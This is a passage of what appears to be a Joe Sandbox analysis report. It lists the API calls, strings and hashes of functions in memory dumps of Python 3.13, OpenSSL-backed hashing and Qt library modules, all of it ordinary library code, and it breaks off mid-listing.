_Py_Dealloc.PYTHON313 ref: 00007FF810C52BE9

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc
String ID: <module>
API String ID: 3617616757-217463007
Opcode ID: 38ba6ef64a3c4e3da176dcc799c31920718849fe8b93e96334157dff539b19ff
Instruction ID: a262581ab87db6482a153f7080dc726b5a29a241f03e6d72ab5653995d7960fb
Opcode Fuzzy Hash: 38ba6ef64a3c4e3da176dcc799c31920718849fe8b93e96334157dff539b19ff
Instruction Fuzzy Hash: D7F03AA9F09E0741FB159F15AC010B522516F61BF5F008632D98F46760EE2DA4828F10

Function 00007FF8104BB4D0 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0QPainter@@QEAA@PEAVQPaintDevice@@@Z.QT5GUI ref: 00007FF8104BB593

Part of subcall function 00007FF810559D18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8104312CB), ref: 00007FF810559D32

Memory Dump Source

Source File: 0000001D.00000002.1996509685.00007FF810431000.00000020.00000001.01000000.00000063.sdmp, Offset: 00007FF810430000, based on PE: true

Associated: 0000001D.00000002.1996445398.00007FF810430000.00000002.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1996792938.00007FF81055B000.00000002.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1996957214.00007FF810618000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997001690.00007FF81061A000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997083417.00007FF81061E000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997133269.00007FF810626000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997178790.00007FF810632000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997218759.00007FF810638000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997267262.00007FF81063A000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997309650.00007FF810645000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997354099.00007FF810651000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997396175.00007FF810657000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997437089.00007FF810658000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997507269.00007FF81066C000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997612353.00007FF81066D000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997685059.00007FF81066E000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997835255.00007FF810670000.00000002.00000001.01000000.00000063.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810430000_check.jbxd

Similarity

API ID: Device@@@PaintPainter@@malloc
String ID:
API String ID: 45773141-0
Opcode ID: b82bc66c56b52707f45d0deaa57a676eb05b34faaac532d0dbf26db8a7b54cf3
Instruction ID: 6563c254261efd73fcdc57ab844d502df5b7f87e7c4e2444df3a8822bd7b8c3d
Opcode Fuzzy Hash: b82bc66c56b52707f45d0deaa57a676eb05b34faaac532d0dbf26db8a7b54cf3
Instruction Fuzzy Hash: 7E211A32A08F8181EB508B12FC402AAA7A5FB89BD4F444235EE8D53B68DE3CD151C740

Non-executed Functions

Function 00007FF810C43A50 Relevance: 77.3, APIs: 31, Strings: 13, Instructions: 317
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FF810C43ADD
PyType_IsSubtype.PYTHON313 ref: 00007FF810C43AED
PyObject_GetAttrString.PYTHON313 ref: 00007FF810C43B26
PyErr_Clear.PYTHON313 ref: 00007FF810C43B34
PyErr_SetString.PYTHON313 ref: 00007FF810C43C4F
PyUnicode_FromString.PYTHON313 ref: 00007FF810C43C6E
PyType_GenericAlloc.PYTHON313 ref: 00007FF810C43C89
PyObject_SetAttrString.PYTHON313 ref: 00007FF810C43D0F
PyType_Ready.PYTHON313 ref: 00007FF810C43D5E
PyObject_GetAttrString.PYTHON313 ref: 00007FF810C43D7F
PyObject_IsTrue.PYTHON313 ref: 00007FF810C43D94
_Py_Dealloc.PYTHON313 ref: 00007FF810C43DA9
PyErr_SetString.PYTHON313 ref: 00007FF810C43DC8
_Py_Dealloc.PYTHON313 ref: 00007FF810C43DDC
_Py_Dealloc.PYTHON313 ref: 00007FF810C43DF6
_Py_Dealloc.PYTHON313 ref: 00007FF810C43E11
PyErr_Clear.PYTHON313 ref: 00007FF810C43E38
PyObject_SetAttrString.PYTHON313 ref: 00007FF810C43E4B
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C43E78
_PyObject_GetAttrId.PYTHON313 ref: 00007FF810C43E94
_Py_Dealloc.PYTHON313 ref: 00007FF810C43EAA
PyObject_VectorcallDict.PYTHON313 ref: 00007FF810C43EC4
_Py_Dealloc.PYTHON313 ref: 00007FF810C43EDA
_Py_Dealloc.PYTHON313 ref: 00007FF810C43EF6

Strings

ABCMeta, xrefs: 00007FF810C43BEC
mypyc classes can't have a metaclass, xrefs: 00007FF810C43C3E
metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases, xrefs: 00007FF810C43B3F
TypingMeta, xrefs: 00007FF810C43B66
mypyc classes can't have __slots__, xrefs: 00007FF810C43DBE
_ProtocolMeta, xrefs: 00007FF810C43B8C, 00007FF810C43BBF
__slots__, xrefs: 00007FF810C43D71
__orig_bases__, xrefs: 00007FF810C43D05
__module__, xrefs: 00007FF810C43B1C, 00007FF810C43E41
GenericMeta, xrefs: 00007FF810C43B79
typing_extensions, xrefs: 00007FF810C43BA7
typing, xrefs: 00007FF810C43B4B
abc, xrefs: 00007FF810C43BD4

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$DeallocString$Attr$Err_Type_$ClearSubtypeVectorcall$AllocDictFromGenericReadyTrueUnicode_
String ID: ABCMeta$GenericMeta$TypingMeta$_ProtocolMeta$__module__$__orig_bases__$__slots__$abc$metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases$mypyc classes can't have __slots__$mypyc classes can't have a metaclass$typing$typing_extensions
API String ID: 1552678576-1323395478
Opcode ID: e99705f99635c0bdd4c66a09a71562a20b11ddc2fbb88de62454c34913197671
Instruction ID: 67b34c09fa4ebee101dde69e077d27c36e965ff8a3a069cc5ca1bae98ea3daa2
Opcode Fuzzy Hash: e99705f99635c0bdd4c66a09a71562a20b11ddc2fbb88de62454c34913197671
Instruction Fuzzy Hash: 83E13C25F18F4282EB159F259D5427973A0BFA5BE4F449235CE8E8A760EF3DE444CB00

Function 00007FF810C911E0 Relevance: 73.8, APIs: 26, Strings: 16, Instructions: 310
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C912AC
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C912C8
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C91306
PyLong_AsUnsignedLong.PYTHON313 ref: 00007FF810C913DC
PyLong_AsUnsignedLong.PYTHON313 ref: 00007FF810C91404
PyLong_AsUnsignedLong.PYTHON313 ref: 00007FF810C91418
EVP_PBE_scrypt.LIBCRYPTO-3 ref: 00007FF810C9146F
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FF810C91484
PyEval_SaveThread.PYTHON313 ref: 00007FF810C91492
EVP_PBE_scrypt.LIBCRYPTO-3 ref: 00007FF810C914D4
PyEval_RestoreThread.PYTHON313 ref: 00007FF810C914DF
PyErr_SetString.PYTHON313 ref: 00007FF810C91503
PyBuffer_Release.PYTHON313 ref: 00007FF810C91544
PyBuffer_Release.PYTHON313 ref: 00007FF810C91557
PyLong_AsLong.PYTHON313 ref: 00007FF810C91580
PyErr_Occurred.PYTHON313 ref: 00007FF810C9158E
PyLong_AsLong.PYTHON313 ref: 00007FF810C915D6
PyErr_Occurred.PYTHON313 ref: 00007FF810C915E9
PyErr_Format.PYTHON313 ref: 00007FF810C9162F
_PyArg_BadArgument.PYTHON313 ref: 00007FF810C91652
_PyArg_BadArgument.PYTHON313 ref: 00007FF810C91675
_PyArg_BadArgument.PYTHON313 ref: 00007FF810C91698
PyErr_Occurred.PYTHON313 ref: 00007FF810C916B6
PyErr_Occurred.PYTHON313 ref: 00007FF810C916D8
PyErr_Occurred.PYTHON313 ref: 00007FF810C916FA

Strings

p is required and must be an unsigned int, xrefs: 00007FF810C91710
maxmem must be positive and smaller than %d, xrefs: 00007FF810C9171C
argument 'r', xrefs: 00007FF810C9166E
n is required and must be an unsigned int, xrefs: 00007FF810C916CC
r is required and must be an unsigned int, xrefs: 00007FF810C916EE
scrypt, xrefs: 00007FF810C91644, 00007FF810C91667, 00007FF810C9168A
salt is required, xrefs: 00007FF810C916AA
n must be a power of 2., xrefs: 00007FF810C914F9
@, xrefs: 00007FF810C91233
dklen must be greater than 0 and smaller than %d, xrefs: 00007FF810C91618
int, xrefs: 00007FF810C9163D, 00007FF810C91660, 00007FF810C91683
salt is too long., xrefs: 00007FF810C94A8C
argument 'n', xrefs: 00007FF810C9164B
Invalid parameter combination for n, r, p, maxmem., xrefs: 00007FF810C91604
argument 'p', xrefs: 00007FF810C91691
password is too long., xrefs: 00007FF810C94A79

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_$LongLong_Occurred$Arg_$ArgumentUnsigned$BufferBuffer_E_scryptEval_Object_ReleaseStringThread$Bytes_FormatFromKeywordsRestoreSaveSizeUnpack
String ID: @$Invalid parameter combination for n, r, p, maxmem.$argument 'n'$argument 'p'$argument 'r'$dklen must be greater than 0 and smaller than %d$int$maxmem must be positive and smaller than %d$n is required and must be an unsigned int$n must be a power of 2.$p is required and must be an unsigned int$password is too long.$r is required and must be an unsigned int$salt is required$salt is too long.$scrypt
API String ID: 4172562131-3140575616
Opcode ID: e23ffb9ed78be7da6622ebda33d3d151b106702c7c9ba18bd6fb7fef31bb20b7
Instruction ID: b10f121237a54456dd68051da58060aaaa069d538c8caeb55c008e7b3951cbe0
Opcode Fuzzy Hash: e23ffb9ed78be7da6622ebda33d3d151b106702c7c9ba18bd6fb7fef31bb20b7
Instruction Fuzzy Hash: E3E117A1A08E52C5EB508BA1EC4527963A4BF88BE8F554339ED4E47BA4DF3CE545CB00

Function 00007FF810C91E20 Relevance: 51.0, APIs: 24, Strings: 5, Instructions: 227threadCOMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
_Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
EVP_MD_fetch.LIBCRYPTO-3 ref: 00007FF810C91ED4
EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
_PyObject_New.PYTHON313 ref: 00007FF810C91F06
EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78
PyObject_CheckBuffer.PYTHON313 ref: 00007FF810C91FA3
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C91FBC
PyBuffer_Release.PYTHON313 ref: 00007FF810C91FE0
EVP_MD_fetch.LIBCRYPTO-3 ref: 00007FF810C92044
PyModule_GetState.PYTHON313 ref: 00007FF810C92074
PyEval_SaveThread.PYTHON313 ref: 00007FF810C92083
PyEval_RestoreThread.PYTHON313 ref: 00007FF810C920A4
PyErr_SetString.PYTHON313 ref: 00007FF810C920C0
EVP_MD_fetch.LIBCRYPTO-3 ref: 00007FF810C920DC
PyErr_SetString.PYTHON313 ref: 00007FF810C94BFD
PyBuffer_Release.PYTHON313 ref: 00007FF810C94C08
_Py_Dealloc.PYTHON313 ref: 00007FF810C94CA1

Strings

-fips, xrefs: 00007FF810C91EC8, 00007FF810C9203B
Strings must be encoded before hashing, xrefs: 00007FF810C920AF
unsupported hash type %s, xrefs: 00007FF810C9205E
object supporting the buffer API required, xrefs: 00007FF810C94BE0
Buffer must be single dimension, xrefs: 00007FF810C94BF3

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_fetchModule_Object_State$BufferBuffer_Err_Eval_ReleaseStringThread$CheckD_freeD_get_flagsD_up_refDeallocDigestInit_exPy_hashtable_getRestoreSaveX_new
String ID: -fips$Buffer must be single dimension$Strings must be encoded before hashing$object supporting the buffer API required$unsupported hash type %s
API String ID: 2460687060-2451375418
Opcode ID: 22907af6c50bfd9099f5f74a32a1021f685966d8acf03313c91f7058d1a1696b
Instruction ID: 808b05f0043ded2a4b14ecdfe7524354a57eed3c59d93dfb6ac824dade792762
Opcode Fuzzy Hash: 22907af6c50bfd9099f5f74a32a1021f685966d8acf03313c91f7058d1a1696b
Instruction Fuzzy Hash: 6B914DA2A0DE46C1EB648BE5AD4567962A1BF99BF5F045335DE4E027A0DF3CE448CB00

Function 00007FF810C719E0 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF810C719FC
memset.VCRUNTIME140 ref: 00007FF810C71A20
RtlCaptureContext.KERNEL32 ref: 00007FF810C71A29
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF810C71A43
RtlVirtualUnwind.KERNEL32 ref: 00007FF810C71A84
memset.VCRUNTIME140 ref: 00007FF810C71AB7
IsDebuggerPresent.KERNEL32 ref: 00007FF810C71AD8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF810C71AF5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF810C71B00

Memory Dump Source

Source File: 0000001D.00000002.2001656157.00007FF810C71000.00000020.00000001.01000000.0000005C.sdmp, Offset: 00007FF810C70000, based on PE: true

Associated: 0000001D.00000002.2001594326.00007FF810C70000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001720279.00007FF810C72000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001784985.00007FF810C74000.00000002.00000001.01000000.0000005C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c70000_check.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 83ab42334abe083caa0e607e989745bd32b346c63707e66692a8e02501124f19
Instruction ID: d21b33f2a30308afd0ffa67350f22fe8258fe759c6fa0bfc996330496315cab8
Opcode Fuzzy Hash: 83ab42334abe083caa0e607e989745bd32b346c63707e66692a8e02501124f19
Instruction Fuzzy Hash: DE313076609F818AEB609F64E8503ED7361FB847A4F44413ADA4E87B96DF38D648CB10

Function 00007FF810C94390 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF810C943AC
memset.VCRUNTIME140 ref: 00007FF810C943D0
RtlCaptureContext.KERNEL32 ref: 00007FF810C943D9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF810C943F3
RtlVirtualUnwind.KERNEL32 ref: 00007FF810C94434
memset.VCRUNTIME140 ref: 00007FF810C94467
IsDebuggerPresent.KERNEL32 ref: 00007FF810C94488
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF810C944A5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF810C944B0

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 6b94263228284adea3e7e1cdca652a094aa349ee7aad73e387e1651aa79022c0
Instruction ID: d62e27f1b6ec962dd1acdacf68119348c6a924b12bde21f6dd28cdb1bb8402c6
Opcode Fuzzy Hash: 6b94263228284adea3e7e1cdca652a094aa349ee7aad73e387e1651aa79022c0
Instruction Fuzzy Hash: 063130B2609F81C6EB609FA0E8907ED7364FB88794F44413ADA4E47B94DF38D648CB14

Function 00007FF810C81DF0 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF810C81E0C
memset.VCRUNTIME140 ref: 00007FF810C81E30
RtlCaptureContext.KERNEL32 ref: 00007FF810C81E39
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF810C81E53
RtlVirtualUnwind.KERNEL32 ref: 00007FF810C81E94
memset.VCRUNTIME140 ref: 00007FF810C81EC7
IsDebuggerPresent.KERNEL32 ref: 00007FF810C81EE8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF810C81F05
UnhandledExceptionFilter.KERNEL32 ref: 00007FF810C81F10

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: d015f4c3fddcd93be6c4cb55cac18b5abc3ff0c9f109290bc1ab371183ff179c
Instruction ID: 0e457431045a0c5bedacec4fa5a5e272c0f3c274a36a0ea06b37d34be308e61d
Opcode Fuzzy Hash: d015f4c3fddcd93be6c4cb55cac18b5abc3ff0c9f109290bc1ab371183ff179c
Instruction Fuzzy Hash: C1313E72609F818AEB608F60E8443ED73A5FB84794F44413ADA4E47B98DF3CD548DB14

Function 00007FF810C549A8 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF810C549C4
memset.VCRUNTIME140 ref: 00007FF810C549E8
RtlCaptureContext.KERNEL32 ref: 00007FF810C549F1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF810C54A0B
RtlVirtualUnwind.KERNEL32 ref: 00007FF810C54A4C
memset.VCRUNTIME140 ref: 00007FF810C54A7F
IsDebuggerPresent.KERNEL32 ref: 00007FF810C54AA0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF810C54ABD
UnhandledExceptionFilter.KERNEL32 ref: 00007FF810C54AC8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 85826913ab9ad69c0b5e43cac3a32fdc25c0ff0700741cebf6bc45848c1b7893
Instruction ID: e4c83093027fce980a2211d18afcd805ffb99bb3a3994bb9cb5d2e1a97888292
Opcode Fuzzy Hash: 85826913ab9ad69c0b5e43cac3a32fdc25c0ff0700741cebf6bc45848c1b7893
Instruction Fuzzy Hash: EF315076709F8186EB609F60E8503EE7364FBA4798F40413ADA8E47B95DF38D548CB10

Function 00007FF810C95DC0 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CRYPTO_memcmp.LIBCRYPTO-3 ref: 00007FF810C95DE0

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: O_memcmp
String ID:
API String ID: 2788248766-0
Opcode ID: d3ad7d0c385042fecc03faca2d7323f65c539fdecdcb2437dbde10a64ee9a806
Instruction ID: 66e9224eab07583755f254f30361352798564273324bba65d3efbe35e594c589
Opcode Fuzzy Hash: d3ad7d0c385042fecc03faca2d7323f65c539fdecdcb2437dbde10a64ee9a806
Instruction Fuzzy Hash: D7D01252F19B8942DF1CC7A7BE844A891525FACBD075D8135AE0D87B65D92CC5D18500

Function 00007FF810C41950 Relevance: 60.0, APIs: 20, Strings: 14, Instructions: 487
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyErr_Format.PYTHON313 ref: 00007FF810C41AE6
strchr.VCRUNTIME140 ref: 00007FF810C41B40
_PyDict_GetItemStringWithError.PYTHON313 ref: 00007FF810C41C51
PyErr_Occurred.PYTHON313 ref: 00007FF810C41C8C
PyErr_Format.PYTHON313 ref: 00007FF810C41DA9
PyErr_Format.PYTHON313 ref: 00007FF810C41DE8
PyTuple_GetSlice.PYTHON313 ref: 00007FF810C41E3F
PyErr_Format.PYTHON313 ref: 00007FF810C41EC3
PyDict_New.PYTHON313 ref: 00007FF810C41F38
_PyDict_GetItemStringWithError.PYTHON313 ref: 00007FF810C41F71
PyErr_Occurred.PYTHON313 ref: 00007FF810C41F80
PyDict_Next.PYTHON313 ref: 00007FF810C41FC9
PyUnicode_EqualToUTF8.PYTHON313 ref: 00007FF810C42008
PyDict_SetItem.PYTHON313 ref: 00007FF810C4203E
PyDict_Next.PYTHON313 ref: 00007FF810C42067
PyErr_Format.PYTHON313 ref: 00007FF810C420C2
PyErr_Format.PYTHON313 ref: 00007FF810C4210B
_Py_Dealloc.PYTHON313 ref: 00007FF810C42151
_Py_Dealloc.PYTHON313 ref: 00007FF810C4217F

Strings

%.200s%s missing required keyword-only argument '%s', xrefs: 00007FF810C41D83
'%U' is an invalid keyword argument for %.200s%s, xrefs: 00007FF810C42101
%.200s%s takes %s %d positional argument%s (%zd given), xrefs: 00007FF810C41BF5, 00007FF810C41F28
%.200s%s takes at most %d %sargument%s (%zd given), xrefs: 00007FF810C41AC7
function, xrefs: 00007FF810C41AD5, 00007FF810C41D98, 00007FF810C41DD7, 00007FF810C41EB2, 00007FF810C420AC
at least, xrefs: 00007FF810C41EEB
keywords must be strings, xrefs: 00007FF810C4211A
at most, xrefs: 00007FF810C41BC4
keyword , xrefs: 00007FF810C41A8B
this function, xrefs: 00007FF810C420D9
%.200s%s takes no positional arguments, xrefs: 00007FF810C41EA4
%.200s%s missing required argument '%s' (pos %d), xrefs: 00007FF810C41DC0
exactly, xrefs: 00007FF810C41BD6, 00007FF810C41EFD
argument for %.200s%s given by name ('%s') and position (%d), xrefs: 00007FF810C4209A

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_$Dict_Format$Item$DeallocErrorNextOccurredStringWith$EqualSliceTuple_Unicode_strchr
String ID: %.200s%s missing required argument '%s' (pos %d)$%.200s%s missing required keyword-only argument '%s'$%.200s%s takes %s %d positional argument%s (%zd given)$%.200s%s takes at most %d %sargument%s (%zd given)$%.200s%s takes no positional arguments$'%U' is an invalid keyword argument for %.200s%s$argument for %.200s%s given by name ('%s') and position (%d)$at least$at most$exactly$function$keyword $keywords must be strings$this function
API String ID: 2601740823-2999033026
Opcode ID: 9fbf3d718b9e6b3fc95c3e0283f7a619e3a25622b44badd3e6ecd629b986b2da
Instruction ID: 5f44d0c3d610170650ab6f0c4198048528e39f4cd912d63ac9535c8f63698c70
Opcode Fuzzy Hash: 9fbf3d718b9e6b3fc95c3e0283f7a619e3a25622b44badd3e6ecd629b986b2da
Instruction Fuzzy Hash: 2D222B75B09E8685EB208F15E8902A977A1FFA4BE4F944236DE8E87754DF3CE445CB00

Function 00007FF810C426C0 Relevance: 45.9, APIs: 13, Strings: 13, Instructions: 445COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON313 ref: 00007FF810C42855
PyErr_Format.PYTHON313 ref: 00007FF810C428E3
PyErr_Format.PYTHON313 ref: 00007FF810C42AEE
PyErr_Format.PYTHON313 ref: 00007FF810C42B21
PyTuple_New.PYTHON313 ref: 00007FF810C42B46
PyDict_New.PYTHON313 ref: 00007FF810C42BD5
_PyUnicode_Equal.PYTHON313 ref: 00007FF810C42C46
PySequence_Contains.PYTHON313 ref: 00007FF810C42CD3
PyDict_SetItem.PYTHON313 ref: 00007FF810C42CF1
